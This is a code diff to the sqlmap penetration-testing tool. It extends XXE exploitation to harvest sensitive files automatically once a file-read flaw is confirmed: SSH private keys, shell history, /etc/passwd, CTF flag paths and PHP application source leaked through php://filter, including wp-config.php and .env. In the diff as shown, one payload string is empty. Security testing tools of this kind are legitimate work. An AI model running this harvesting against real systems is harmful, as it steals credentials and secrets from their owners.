diff --git a/lib/core/settings.py b/lib/core/settings.py
index 889e36e59..35ab7215c 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.29"
+VERSION = "1.10.7.30"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1123,12 +1123,13 @@ XXE_IMPACT_FILES = (
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
-# secrets, key material) - the XXE analogue of the automatic dumping the other
-# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
-# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
-# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
-# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
-# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
+# secrets, key material, common application drop paths) - the XXE analogue of the
+# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
+# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
+# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
+# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
+# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
+# request is honoured verbatim instead).
XXE_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
@@ -1142,11 +1143,25 @@ XXE_FILE_HARVEST = (
"/proc/version",
"/root/.bash_history",
"/root/.ssh/id_rsa",
+ "/flag",
+ "/flag.txt",
"c:/windows/win.ini",
"c:/windows/system32/drivers/etc/hosts",
"c:/inetpub/wwwroot/web.config",
)
+# Application web roots + source filenames used, once php://filter is available, to
+# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
+# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
+# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
+# environ}. Best-effort and bounded.
+XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
+XXE_SOURCE_NAMES = (
+ "index.php", "config.php", "config.inc.php", "secret.php",
+ "db.php", "database.php", "settings.php", "init.php", "functions.php",
+ "app.py", "server.py", "main.py", "wp-config.php", ".env",
+)
+
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py
index 2de1ee4fc..1e62de59a 100644
--- a/lib/techniques/xxe/inject.py
+++ b/lib/techniques/xxe/inject.py
@@ -29,6 +29,8 @@ from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
+from lib.core.settings import XXE_SOURCE_NAMES
+from lib.core.settings import XXE_WEBROOTS
from lib.core.settings import OOB_POLL_ATTEMPTS
from lib.core.settings import OOB_POLL_DELAY
from lib.core.settings import XXE_LOCAL_DTDS
@@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName):
return harvested
+def _phpFilterWorks(xml, rootName):
+ """One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
+ the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
+ requests for it."""
+
+ from lib.core.convert import decodeBase64
+
+ m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
+ ent = randomStr(8, lowercase=True)
+ subset = '' % ent
+ payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
+ match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
+ if match and match.group(1).strip():
+ try:
+ return bool(getText(decodeBase64(match.group(1).strip())).strip())
+ except Exception:
+ pass
+ return False
+
+
+def _harvestSource(xml, rootName, harvested):
+ """PHP-only follow-up run once an in-band read primitive is confirmed: disclose
+ server-side application SOURCE code via php://filter (source is executed, never
+ rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
+ Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
+ (running script + working dir) combined with common web roots/source names, and
+ de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
+ target. Returns a list of (path, content, payload)."""
+
+ if not _phpFilterWorks(xml, rootName):
+ return []
+
+ byPath = dict((p, c) for p, c, _ in harvested)
+ seen = set(getUnicode(c).strip() for c in byPath.values())
+ candidates = []
+
+ dirs = []
+ environ = getUnicode(byPath.get("/proc/self/environ", ""))
+ match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
+ cwd = match.group(1).strip() if match else None
+ if cwd:
+ dirs.append(cwd)
+ dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]
+
+ cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
+ for token in re.split(r"[\x00\s]+", cmdline):
+ if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
+ if token.startswith("/"):
+ candidates.append(token) # absolute script path
+ elif cwd:
+ candidates.append("%s/%s" % (cwd.rstrip("/"), token))
+
+ for directory in dirs:
+ for name in XXE_SOURCE_NAMES:
+ candidates.append("%s/%s" % (directory.rstrip("/"), name))
+
+ logger.info("attempting application source-code disclosure via php://filter")
+
+ result = []
+ read = set()
+ for path in candidates:
+ if path in read:
+ continue
+ read.add(path)
+ content, payload = _tryInbandFileRead(xml, rootName, path)
+ if content and content.strip() and getUnicode(content).strip() not in seen:
+ seen.add(getUnicode(content).strip())
+ result.append((path, content, payload))
+ return result
+
+
def _tryInternal(xml, rootName, baseline):
"""T2 in-band: an internal general entity expands to the sentinel and is
reflected. Guarded by a negative control (sentinel absent from baseline) and
@@ -716,7 +789,9 @@ def xxeScan():
if harvested:
found = True
firstPath, _, firstPayload = harvested[0]
- logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
+ # follow-up: server-side application source disclosure (php://filter)
+ harvested += _harvestSource(xml, rootName, harvested)
+ logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
for path, content, _ in harvested: